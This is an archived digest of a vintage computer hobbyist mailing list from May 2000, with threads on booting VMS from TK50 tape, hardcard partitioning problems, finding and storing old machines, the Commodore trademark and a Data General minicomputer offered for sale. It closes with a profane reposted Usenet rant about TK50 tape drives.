29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From emu at ecubics.com Mon May 15 19:27:05 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:47 2005 Subject: Booting VMS 5.5 from tape? References: <4.1.20000515165734.044922c0@mailhost.hq.freegate.com> Message-ID: <031801bfbecd$776c90c0$5d01a8c0@p2350> ----- Original Message ----- From: Chuck McManis To: Sent: Monday, May 15, 2000 17:58 Subject: Re: Booting VMS 5.5 from tape? > Additional info. It eventually stopped with a "FILESTRUCT?" error. > Hmmm, perhaps the tapes are bad. > --Chuck The Original 5.5 tape ? Should be 2 of them. AFAIR, the boot tape is the second one. Cheers, emanuel From SUPRDAVE at aol.com Mon May 15 19:24:38 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <46.563c1f6.2651ef46@aol.com> In a message dated 5/15/00 5:49:14 PM Eastern Daylight Time, foo@siconic.com writes: > On Mon, 15 May 2000, Tom Owad wrote: > > > >Let Them Come to You > > > > > >One way to find vintage computers is to let them find you. > > >Try placing an ad in the classifieds section of your local > > >paper. Be sure to specify exactly what you are looking for > > >to avoid getting a flood of false leads. In the very least, > > >include a cut-off year indicating you are not interested in > > >any computers manufactured after that year. > > > > Anybody try this? What kind of response did you get? > > Not a newspaper ad, but posting a Usenet ad was quite possibly the best > thing I could've ever done. I posted several ads in the local for sale > newsgroups periodically over the course of several months and turned up > all sorts of good stuff. > what is an example of the usenet ad you post? i'm wondering how good an ad will work around here, however. someone posted on a local usenet group here asking for a C64. I eventually traded him one for a scsi drive for my PS/2 server. he said he had gotten some offers from people offering to sell their C64s, but they wanted $40 and insanely high prices. must have been ebay users. 8-< DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From emu at ecubics.com Mon May 15 19:38:45 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:47 2005 Subject: SCO site has Unix for download References: <200005160016.UAA01427@bg-tc-ppp748.monmouth.com> Message-ID: <035401bfbecf$18b86a70$5d01a8c0@p2350> From: Bill Pechter > 2.x bsd is available on CD from the PUPS archive or on Kirk McKusick's > CDROM set. > > However, they're working on the method to make those available, since > they require a license and SCO's click-through web site is not giving > out license numbers... Just got an e-mail from Warren Toomey, that it should work already !!! (for an hour, or so ;-)) cheers, emanuel From cmcmanis at mcmanis.com Mon May 15 19:40:07 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:47 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: References: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: <4.1.20000515173530.045cdce0@mailhost.hq.freegate.com> Interesting... Well, there isn't anything quite so nice as the documentation. :-) [even if it is for V5.2 which is not quite right for these tapes (5.5-2)] Turns out that if you have a VMS cartridge tape release (such as I do) you boot standalone backup from tape *2* not tape 1. (presumably its on tape one on 4.x tapes but on this tape its on tape 2) Of course I have to guess what the save set's name is, but using the DEC propensity for naming things VMS I guessed VMS0552.B (VMS 5.5-2 save set B). Perhaps when I come back tomorrow I'll know if I guessed right :-) --Chuck From ip500 at roanoke.infi.net Mon May 15 20:19:46 2000 From: ip500 at roanoke.infi.net (Craig Smith) Date: Sun Feb 27 18:52:47 2005 Subject: Trash or Treasure? Control Data PA5N1F drives Message-ID: <3920A232.8310B98C@roanoke.infi.net> Dragged [for real--these puppies are heavy] home a bunch of CDC 500 MB hard drives this morning. I rarely see any mention of Control Data here [or anywhere else for that matter]....any use or application for these things? They came out of an NCR mini system. Only managed to find one CPU unit [but did get ALL the print sets for both the CPU and the drives]. Interesting and maybe unusual, but what am I going to be able to do with them. Any and all info and/or pointers appreciated. Thanks, Craig From red at bears.org Mon May 15 20:34:04 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks In-Reply-To: Message-ID: On Mon, 15 May 2000 SUPRDAVE@aol.com wrote: > according to my hardcard20 manual, do not set up and entry for the hardcard > in CMOS. there may be a jumper on the hardcard for either 1 or 2 depending on > whether its the primary or second hard drive. there is a setup disk, but > normally shouldnt be needed. I have a copy if needed. the book also says that > it is not possible to LLF the hardcard. All right. I undefined the disk in CMOS (which now believes there is no hard disk installed) but I'm having the same problem. FDISK hangs creating a new partition, just after it says "Drive capacity is 77 Mbytes" or the message to that effect. I checked out the jumpers on the unit, and they are set for IRQ 11, BIOS address C8000, I/O port 170, drive select 0. ok r. From SUPRDAVE at aol.com Mon May 15 21:17:57 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks Message-ID: <2f.55052fe.265209d5@aol.com> In a message dated 5/15/00 9:39:41 PM Eastern Daylight Time, red@bears.org writes: > All right. > > I undefined the disk in CMOS (which now believes there is no hard disk > installed) but I'm having the same problem. FDISK hangs creating a new > partition, just after it says "Drive capacity is 77 Mbytes" or the message > to that effect. > > I checked out the jumpers on the unit, and they are set for IRQ 11, BIOS > address C8000, I/O port 170, drive select 0. using dos 5 or higher? (no 32meg partition limit with ver 5) try booting dos, run FDISK /MBR DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From vaxman at uswest.net Mon May 15 21:34:12 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:47 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: Hi Chuck, You have to boot the last tape (labeled standalone backup I believe), or any fairly recent standalone backup program will work. I have a 5.x I can send you if your tape is bad. clint On Mon, 15 May 2000, Chuck McManis wrote: > I finally found my VMS 5.5 TK50's today and thought I would try to install > VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing > B MUA0: > It reads and reads and reads ... > > Now I know TK50's are _really_ slow to boot (NetBSD takes about 5 minutes) > but is this the only thing going on? There isn't some boot flag I need to > give the tape to insure that it does the right thing is there? I keep > expecting to see the standalone backup prompt and I keep right on waiting.... > > --Chuck > > > From technoid at cheta.net Mon May 15 21:50:54 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks In-Reply-To: Message-ID: <200005160251.WAA28767@lexington.ioa.net> Hard cards frequently have compatibility problems. The dos versions you are running won't handle partitions larger than 32mb IIRC. Try a later version of DOS. When I'm stuck for info I often go to DEJA and set it to search all of history for a given phrase. I frequently get my answer. An easy way to get a drive to work if you don't know anything about it's geometry is to use an overlay such as EZDrive. Overlays used to be a real bitch but are MUCH improved these days. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From mrdos at swbell.net Sun May 14 23:32:06 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:52:47 2005 Subject: Is this for real -- a new C64/128 Message-ID: <005a01bfbe26$88da3620$8b893cd8@compaq> Who owns the Commodore Trademark now? -----Original Message----- From: Sipke de Wal To: classiccmp@classiccmp.org Date: Monday, May 15, 2000 6:21 PM Subject: Re: Is this for real -- a new C64/128 >The Comodore Trademark has been sold and resold in Holland in the last six years >as far as I can tell both the Tulip and the Escom company have at least been >holder >of the trade mark and at least one of them payed no more than Fl 100,- (=$40,-) >I dont know if this applied only to a dutch (benelux) trademark or the worldwide >trademark. > >If the comodore company once again exists it is certainly not the same company >that gave us the VIC & the C64. > >My guess is that the trademark was for grabs once more and somebody >is trying to beat a few more bucks out of it. > >Branding a run off the mill clone with the comodore logo and supplying a >couple of emulators and a special keyboard with it, truely sounds like a hype in >the >making. It'll blow over pretty soon. > >Sipke de Wal > >> > The site looks raw enough to dissuade me from believing anything will come >> > out of this. And how is it going to benefit with having a 6502 onboard as >> > claimed if there will also be a 200-500Mhz processor, and everything else >> > indicates emulation? It's obvious this will simply be a PC, and putting >> > together a machine with the specs this one will supposedly have requires >> > some expensive engineering. >> > >> > Look lower on their page, where they advertise the C= PC. I think that >> > tells us what they truly are trying to sell. The "Next Generation C64" is >> > just hype to suck you in. > > From macieks at pzl-okecie.com.pl Mon May 15 23:42:52 2000 From: macieks at pzl-okecie.com.pl (Maciej S Szymanski) Date: Sun Feb 27 18:52:47 2005 Subject: Network adapters mystery Message-ID: <3920D1CC.C6918C1@pzl-okecie.com.pl> I've got my VAXstation and PC/Linux box connected via ethernet and TCP/IP at last ! And offcourse the problems I had - were on the PC side... VMS config was OK since first time :) But there was one mystery: The network not worked with Compex NE2000 clone adapter. When I replaced it with Compex ENET16/U adapter configured as NE2000 everything is OK... does anybody has any idea ? (I'm sure that first adapter was good, I've tested it) Was there any changes in ethernet specification that could make that new (1996 - second adapter was 1992) adapter incompatible with VAXstation ? And by the way - I got offer of "microVAX 3600 in 3500 case" I have no idea what it may mean - could it be 3600 put in small 3500 cabinet ? Is it possible ? (the offer is interesting anyway - its 3600 running VMS 5.5 + DECserver 200 + DELNI +4 VT320 + VT340 for free - I'm thinking where to put the stuff...) Maciek Szymanski From technoid at cheta.net Mon May 15 23:44:48 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:47 2005 Subject: FS: Data General MV4000DC Minicomputer In-Reply-To: <002601bfbeb7$04ed33d0$0201640a@colossus> Message-ID: <200005160514.BAA18714@lexington.ioa.net> I've gotten all the fun I can have out of the machine and would like to know if anyone here is interested before I go to an Auction site. System specs: Data General MV4000DC Minicomputer in deskside chassis on casters. 16 line terminal controller board installed with another included at no extra charge. The slot this would go in is occupied by the tape drive controller. 6125 20mb 9track reel-to-reel tape drive 6311 20mb DC-series cartridge tape drive 120mb and 70mb internal hard disk drives 8mb ram (system is maxed) AOS/VS II version 3.00 and TCP/IP software original media ( 9 track ) included and preinstalled on the system. IPL disks (Microcode and MIOC microcode) Also included are complete, easy to restore backups of my fully configured and networked system on cart and reel tapes. You don't absolutely need them but the terminals would be nice and four will be included in the system price. One has a broken keyboard. The system will support up to 32 physical dumb terminals (DG2xx and VTxxx) and up to 220 virtual terminals (vt100) via telnet. The console terminal is a near must though you could substitute a PC for the console with some warts. Shipping is the only issue. Integrated lan interface with ethernet transceiver included (AUI to BNC) All operating system and hardware docs are included. It's a stack of binders at least a meter high and includes foldout hardware sheets, error codes, installation info, the works. This is the only 32bit, fully featured DG Eclipse machine of it's type in private hands that I am aware of. It will run any MV compatible expansion available including expansion chassis for more 15" cards though I doubt you will need more cards. It is the only fully featured DG MV series machine that is reasonable to put in your living room and still have living room. The only non-original part is a 7404 IC on the ram card I replaced in order to make the machine operate. I warrant the machine to be free from material defects for 90 days from the date of purchase. Included are a spare 8mb ram card (non functional but repairable), a spare 2mb ram card in working order, a spare 6125 tape controller card, and a couple of other cards including a synchronous serial card for x25 networking. I will be happy to help you ship the machine with packaging and brokering a good trucking company so the machine arrives intact. The 6311 tape unit is in it's own 'toaster' enclosure. The 6125 tape drive is a 19" rack mount enclosure without the 19" rack... All devices are very well tested and guaranteed to operate. Online tours of the machine can be easily arranged via telnet. Dimensions are approximate: MV4000DC computer: 1 meter high by .3 meters wide by 1.2 meters deep. About 40 kilos in weight. 6125 tape drive: 19 inches wide by 19" deep by 12 inches high. About 10 kilos in weight. 6123 tape unit: About the same size, weight, and general dimension as a tallish four slice toaster. Each terminal is Appx 10 kilos with keyboard. Appearance issues: Terminals are in good working order and reasonably clean. Computer is in good working order, clean and relatively unmarred by it's time in service. The only marrs are a bit of adhesive residue from stickers. Casters are plastic and are disintegrating though not yet in need of replacement - it rolls smoothly. I would guess shipping to California at about $500.00 for the whole package though I have no basis for my estimate other than a gut feeling.... Asking price: $1200.00 Regards, Jeff -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From jolminkh at nsw.bigpond.net.au Tue May 16 04:58:31 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <003801bfbf1d$4b4c1f60$dadf8490@tp.nsw.bigpond.net.au> . > Comments please! . . Good stuff Sellam. Some comments: I think you under emphasise the garbage system. I have a PDP8L that came from a dumpster at a university. Here in Australia we also have "Council Cleanups" where periodically the local municipal councils pick up assorted larger rubbish if it is left by the side of the road on a predetermined Monday a few times a year. The result is lots of pickings during the preceding weekend. Unfortunately one needs to cruise around all day as the good looking stuff goes very quickly. In some places there are also "tip shops" where authorised scroungers (often charities) sell goods collected from a garbage tip (or "dump" in American). Around here we have establishments with names like Junktastic Park and Reverse Garbage. Do we want to mention the term Dumpster Diving in a primer? Hans From foxvideo at wincom.net Tue May 16 06:59:17 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <200005152049.NAA19044@scaup.prod.itd.earthlink.net> Message-ID: <3.0.5.32.20000516075917.007bfe50@mail.wincom.net> At 04:47 PM 5/15/2000 -0400, you wrote: >>Let Them Come to You >> >>One way to find vintage computers is to let them find you. >>Try placing an ad in the classifieds section of your local >>paper. Be sure to specify exactly what you are looking for >>to avoid getting a flood of false leads. In the very least, >>include a cut-off year indicating you are not interested in >>any computers manufactured after that year. > >Anybody try this? What kind of response did you get? > >Tom Owad > >------------------------------Applefritter------------------------------ >Apple Prototypes, Clones, & Hacks - The obscure, unusual, & exceptional. >------------------------------------------ > > Three years ago I placed a small ad in our weekly shopping guide and turned up about a hundred old computers of various types. After several months I discontinued the ad because I was running out of space, the computers were becoming of less interesting types, and although about 50 percent were no charge, the remainder were taking too big a bite out of my old age pension. The effects are still lingering on, however, for this year I have received several, including one Rainbow and a couple of Apple ][E's. Cheers Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From rhudson at ix.netcom.com Tue May 16 08:14:18 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:52:47 2005 Subject: falling ot, was C64.... References: <003201bfbe87$96d272e0$0400c0a8@winbook> Message-ID: <392149A9.194BFE35@ix.netcom.com> Richard Erlacher wrote: > ... it makes me shudder to think there may be a > time, soon, when we have to buy software by the drink, downloading it each > time from the net and for a fee, as the Oracle folks would like us to do. Also all you "data" stored on who's disks? With what kind of agreement not to share it with others? I bet some direct marketing firms would love to get our quicken files to see whe se spend our mony on. No security without physical security. From ckaiser at oa.ptloma.edu Tue May 16 09:30:08 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:47 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <005a01bfbe26$88da3620$8b893cd8@compaq> from Owen Robertson at "May 14, 0 11:32:06 pm" Message-ID: <200005161430.HAA11176@oa.ptloma.edu> ::Who owns the Commodore Trademark now? Tulip, still, but it's not being actively enforced, obviously. As for the actual *patents*, they are owned lock, stock and barrel by Gateway (both Amiga and 8-bit properties). The new "Amiga" corporation only has a license, not the actual rights. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Work harder! Millions on welfare depend on you! ---------------------------- From mmcfadden at cmh.edu Tue May 16 10:01:14 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Classic Computers Message-ID: Word of mouth seems to be my best source of "valuable" computer hardware/software. Everyone at the hospital knows that I collect old computers, the lab has given me old DEC terminals and printers if I haul away all of the stuff. I also ended up with a MicroVAX 2000 with 2 RD54's if I promised to erase all of the clinical data. I happen to live in a small community, 1800 people, on the edge of a major metropolitan area. Everyone in town knows I go to the computer place at least once a week, I always volunteer to take anything anyone wants to send. Our community has a cleanup day every other year, it's amazing what shows up in the dumpster. I have arranged to take all of the computer/electronic stuff to the local computer recycling/surplus center instead of it going into the trash. I also volunteer computer support for the homeowners group. The fire department was glad to receive industrial strength printer, printer stand, and paper. OT: My best recovery was a 25" Toshiba TV that turned out to have a broken power cord. It has one ding where it hit the dumpster edge on the way in. Someone else had a remote for this same model, their TV fell off the counter. Now I have a complete unit for $0. Several times I have gone to garage sales when they are ending and offered to haul off the electronic/computer stuff left on the curb for the trash truck. My wife has been startled when I have stopped while driving down the street and picked up a few choice items. My wife tolerates this hobby because it doesn't cost much, I can fix our computer, and I'm not out gambling at the Riverboats. Drawbacks are that she and the kids don't understand why I want to use a MicroVAX 2000, can't open the car doors on one side because of the AT&T 3B2's and wonder about by Nicolet Zeta 36" plotter that used to live in the rec room. I also don't have many computers that are intact all the time, most seem to be fluctuating between troubleshooting and testing. My next goal is a neighbor who owns some storage lockers, maybe there will be "gold in them thar dumpsters". I once tried to "kick the habit". The 12 step process was two difficult, I threw out lots of stuff and then by the time I got to the wall of the garage I was hooked again. I hauled it all back in and hid it from my wife. Covert collecting is tough. Mike vintage computer addict. From foo at siconic.com Tue May 16 09:19:24 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <003801bfbf1d$4b4c1f60$dadf8490@tp.nsw.bigpond.net.au> Message-ID: On Tue, 16 May 2000, Olminkhof wrote: > I think you under emphasise the garbage system. I have a PDP8L that came > from a dumpster at a university. Those can be good sources, sure, but the problem is the sporadic nature of trash. Unless you want to make a practice of checking the dumpsters at businesses and colleges regularly. I wouldn't want to do that, but I guess it wouldn't hurt mentioning it. > Here in Australia we also have "Council Cleanups" where periodically the > local municipal councils pick up assorted larger rubbish if it is left by > the side of the road on a predetermined Monday a few times a year. The > result is lots of pickings during the preceding weekend. Unfortunately one > needs to cruise around all day as the good looking stuff goes very quickly. Depending on the area they have those in the States as well. Worth mentioning. > In some places there are also "tip shops" where authorised scroungers (often > charities) sell goods collected from a garbage tip (or "dump" in American). > Around here we have establishments with names like Junktastic Park and > Reverse Garbage. Weird. Do any computers ever come out of shops like these? > Do we want to mention the term Dumpster Diving in a primer? Why not? I'll add a new section just on Dumpster Diving :) From mrbill at mrbill.net Tue May 16 10:30:44 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Classic Computers In-Reply-To: ; from mmcfadden@cmh.edu on Tue, May 16, 2000 at 10:01:14AM -0500 References: Message-ID: <20000516103044.E1497@mrbill.net> On Tue, May 16, 2000 at 10:01:14AM -0500, McFadden, Mike wrote: > I once tried to "kick the habit". The 12 step process was two difficult, I > threw out lots of stuff and then by the time I got to the wall of the garage > I was hooked again. I hauled it all back in and hid it from my wife. > Covert collecting is tough. > Mike > vintage computer addict. I bought my first home a year ago. For me, the kicker for this house was that it has a 2 car garage - but its completely paneled, carpeted, etc, and made up as a big den / rec room. I walked in and thought "woah, room for all my computer stuff" So, I made a deal with the SO. All the "crappy" stuff goes in there, and all the "good" stuff (our modern PCs, any collection that I'm currently working on) goes into the "computer room" - a converted bedroom. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From george at racsys.rt.rain.com Tue May 16 10:54:10 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Classic Computers In-Reply-To: <20000516103044.E1497@mrbill.net> Message-ID: The subject is morphing to Storing Classic computers. Just bought a new house because we exceeded the capacity of our 2800 sq. ft. home. New house is actually smaller but sits on a little community airstrip and has a hanger. Nope ... Don't yet have an airplane yet but now it looks like I'll have some real room to get the collection organized. Look for Orphans (Items that don't fit my collection) to be offered here over the next couple of years. http://www.rdrop.com/users/george/bagley/bagley.htm Look also for me to catalog my collection and get it displayed eventually on my web site. George Rachor george@racsys.rt.rain.com ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Tue, 16 May 2000, Bill Bradford wrote: > On Tue, May 16, 2000 at 10:01:14AM -0500, McFadden, Mike wrote: > > I once tried to "kick the habit". The 12 step process was two difficult, I > > threw out lots of stuff and then by the time I got to the wall of the garage > > I was hooked again. I hauled it all back in and hid it from my wife. > > Covert collecting is tough. > > Mike > > vintage computer addict. > > I bought my first home a year ago. For me, the kicker for this house was > that it has a 2 car garage - but its completely paneled, carpeted, etc, and > made up as a big den / rec room. > > I walked in and thought "woah, room for all my computer stuff" > > So, I made a deal with the SO. All the "crappy" stuff goes in there, and > all the "good" stuff (our modern PCs, any collection that I'm currently working > on) goes into the "computer room" - a converted bedroom. > > Bill > > -- > +--------------------+-------------------+ > | Bill Bradford | Austin, Texas | > +--------------------+-------------------+ > | mrbill@sunhelp.org | mrbill@mrbill.net | > +--------------------+-------------------+ > From mikeford at socal.rr.com Tue May 16 14:40:21 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Classic Computers In-Reply-To: Message-ID: >I once tried to "kick the habit". The 12 step process was two difficult, I >threw out lots of stuff and then by the time I got to the wall of the garage >I was hooked again. I hauled it all back in and hid it from my wife. >Covert collecting is tough. Think false ceiling and walls, makes the house a bit smaller, but you just tell the wife its "insulation". From allisonp at world.std.com Tue May 16 15:09:32 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Classic Computers In-Reply-To: Message-ID: > New house is actually smaller but sits on a little community airstrip and > has a hanger. Nope ... Don't yet have an airplane yet but now it looks > like I'll have some real room to get the collection organized. Look for > Orphans (Items that don't fit my collection) to be offered here over the > next couple of years. No plane???? Heavens, oh my!!! Two things I don't give up, my Cessna and some of my old machines than have followed me through 5 moves. A hanger... Even tiwht a cessna thats a lot of room left for a small 11/780... ;) In the mean time the computers have some storage in the garage and the 150sqft bedroom reserved for them. Allison From mrdos at swbell.net Mon May 15 15:36:59 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:52:47 2005 Subject: Sperry Univac Minicomputer Message-ID: <001101bfbead$53370e80$92893cd8@compaq> Does anyone know anything about the UNIVAC minicomputer(s)? I didn't know there was such a thing as a UNIVAC minicomputer, until I came across a picture of one in a book the other day. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000515/db74a0f1/attachment-0001.html From pat at transarc.ibm.com Tue May 16 16:06:21 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:47 2005 Subject: Sperry Univac Minicomputer In-Reply-To: <001101bfbead$53370e80$92893cd8@compaq> Message-ID: On Mon, 15 May 2000, Owen Robertson wrote: > Does anyone know anything about the UNIVAC minicomputer(s)? I didn't > know there was such a thing as a UNIVAC minicomputer, until I came > across a picture of one in a book the other day. What did it look like? The only UNIVAC's I'd ever gotten to see that could be described as "minicomputers" were both special-purpose machines: The "SSP", which was used as the front-end/maintenance processor for the 1100 mainframe, and the DCP, which was a communications processor used to support "demand processing" (a/k/a, interactive timesharing) and transaction processing applications on the 1100. I'd be curious to know what others there might be. --Pat. From hofmanwb at worldonline.nl Wed May 17 00:32:08 2000 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 18:52:48 2005 Subject: Booting VMS 5.5 from tape? Message-ID: <20000516211703.29F5636B36@rhea.worldonline.nl> quite nice isn't it ---------- > From: r. 'bear' stricklin > To: Classic Computers > Subject: Re: Booting VMS 5.5 from tape? > Date: Monday, May 15, 2000 4:59 PM > > On Mon, 15 May 2000, Chuck McManis wrote: > > > I finally found my VMS 5.5 TK50's today and thought I would try to install > > VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing > > B MUA0: > > It reads and reads and reads ... > > Bwahahah.. forgive the repost, but it had to be done. Just as a warning, > though, the article contains some strong language which may cause your > wallpaper to peel just a little. > > ok > r. > > > From: mabbas@staff.uiuc.edu (Majdi Abbas) > Newsgroups: alt.sysadmin.recovery > Subject: Exabyte whiners and real tape drives (tape drive dick length) > Date: 7 May 1997 00:09:35 GMT > Organization: University of Illinois at Urbana > Lines: 161 > Approved: tk50@godless.org > Message-ID: > Reply-To: mabbas@uiuc.edu > NNTP-Posting-Host: ux1.cso.uiuc.edu > Summary: TK50s blow. > Keywords: TK50 masochism > X-Newsreader: slrn (0.9.2.1 BETA UNIX) > Status: RO > X-Status: A > > So here I am, sitting with *bootable* install media for my VAX[1]. > > The catch: It's on TK-50 tape. *One* TK-50 tape. Which means I've > got one shot, and only a 33% chance to make it close enough to even get that > shot. That's on a good day. Today is a Monday. > > What follows is *not* useful information. If you have one of these, > or have to work with one of these, you're too far gone to be recovering, and > this isn't going to help you any. May the God of DEC have mercy on your soul. > > Oh, and before I get going, those of you who whine about Exabyte > drives not ejecting tapes have no concept of a TK50. TK50's *do not* eject > tapes. You have to arm-wrestle the drive for the tape most of the time, and > even if you're lucky it's a manual eject[2]. > > Before you can eject the tape, the VAX has to think it's done with the > tape. This is a pretty simple concept, if it worked. The TK50s were not in > production very long, and for good reason. Rumor has it their replacements > are better.[3] > > I'm going to describe the operation of a TK-50, ignoring some of the > things that go along with booting a VAX. If you know them, I'm sorry, if > you don't, well, consider yourself extremely lucky. > > 1) Wait for green light. > 2) Pull drive flap up. > 3) Stick tape in, right side first or it won't fit. > 4) Coerce tape into fitting into the drive. > 5) Shove it all the way back > 6) Push drive flap down. You may need a hammer. > 7) Press Big Red Button. Green light will go off, red light will > start flashing, then go solid. > 8) Tape drive begins reading tape. > > Here's where we go off onto a tangent for a little bit, although it > is related. TK-50 (drive;cartridge;whole shebang) were designed by complete > absolute fscking lusers. > > The cartridges are nice and small. This is because they are just a > reel of tape. The other reel is inside the drive itself. When it starts to > read a tape, it snags the beginning of the tape using a leader that whips > around the spindle of the inside reel, and drags the tape in past the read > and erase heads[4]. > > 9) Drive reads tape, system boots, all is good. > 10) You press the big red button again, wait 45 minutes for the thing > to rewind, then it stops and the green light goes on, it moves a > servo that allows you to move the drive flap again, then you are > permitted to remove the tape. No eject mechanisim whatsoever. > > Now, on with the show. > > So here I am, booting the VAX. > > Things are going good, we get past the 5 minute POST, and the drive > starts *reading* the tape. So the media is good and I'm actually thinking > I have a chance yet. Then the gods decide that they've had enough fun at my > expense, and it's time to get serious. > > Loading system software. > > 2.. > ?4B CTRLERR, MUA0 > ?06 HLT INST > PC = 00000E0A > Failure. > >>> > > My reaction: "Shit." > > VAX's reaction: "Yadda yadda yadda *WHOMP* *SCREEEECCCH* *thwap*" > "THWAPthwapthwapthwapthwapthwapthwapthwapthwap" > [continues] > > My reaction: "MotherfuckingasslickingpieceofshitasspirateDECtapedrive." > > Actually, my reaction was much more lengthy and probably much more > obscene, but in the afterglow right now that's all I can remember. > > Knowing that the tape is hopelessly fucked and there went my last > chance for a while, I don't even bother with the normal procedures. This is > a TK-50. One must adapt constantly or get sucked in. > > I quickly wrestle the vax for the tape, remove it, and all seems good. > But I know what's coming. A few hundred feet of half-inch tape, all spooled > into the drives internals. > > I spend the next half hour removing tape from the drive, clean it up, > check everything out, decide to try out this unlabeled TK50 I have. Nope, > won't boot. Okay VAX, rewind tape. > > [Pause for one hour] > > VAX, surely you must be done with it now. > > VAX: Nope, it's still in there. I swear. > > Me: BULLSHIT. I can hear you flapping around empty. You're flapping > around so much that the VAX is about ready to take off and my hair is being > blown back. > > Me: Hits the power switch, pops the thing open, pulls the drive out. > Grabs toolkit and commences disassembly of the drive. Sure enough, it's done. > But I can't get the VAX to let go of the tape until it realizes that it's done, > which isn't going to happen. Powercycling et al will not make it realize that > it's done, it has to feel like relinquishing it's dinner. > > So, I'm now dissassembling the TK-50. Sure enough, the magic little > leader that feeds these tapes in is broken. Surprise surprise. Tape looks > okay tho. > > It's a couple of hours later, and I have one reassembled TK50, one > sliced hand, a screwdriver with a broken tip, a spare black plastic part, > three spare washers, a couple of spare screws and a spring. The tape is > still in the drive, and I've managed to get all of the first tape into a box > for convenient disposal at my leisure. Like I have leisure. Anyhow, I'd > like to make you an offer: Free TK-50 tape drive, including install media in > need of a manual rewind and a preloaded blank tape. Donatee must pay shipping > and psychiatric admission fee. Includes spare parts[5]. > > WTB: One SCSI Qbus card. > > I am *not* going through this again. Especially because I took > pictures of the aftermath of the first tape, and I'm going to post those > near the VAX as a reminder. Let me know if anyone wants scans. > > Every single bad thing you've ever heard about any tape drive doesn't > even begin to describe what the TK-50 is like. Exabyte 8200s have nothing on > these things and never will. DEC was fucking up hardware design years before > the advent of the 8200. I personally believe that the TK-50 is probably what > nearly bankrupted DEC. The number of man-hours wasted in-house wrestling with > these things alone is in the millions. It would have to be. > > I saw an RU-81A today. Now *there* is a sight. Appropriately in a > junkyard. For those of you involved with BOFHnet, what do you think of a > bofh.tdfh.tk50? This drive definitely has the FH aspect down. > > *sigh* > > Down, > not > across > > --Majdi > > [1] Currently hopelessly crippled due to a drive failure. > [2] The problem is that DEC assumed that the VAX knew more about what was > going on in this drive than the person feeding it ferrite. Boy did > they guess wrong. > [3] They *CANNOT* get any worse. > [4] Which are opposed from each other. > [5] You cannot disassemble one of these drives and not wind up with > spare parts. They can't be anything important, because the drive has > to work to suffer some performance degredation and they don't work, so > there is nothing to degrade. > > -- > Majdi 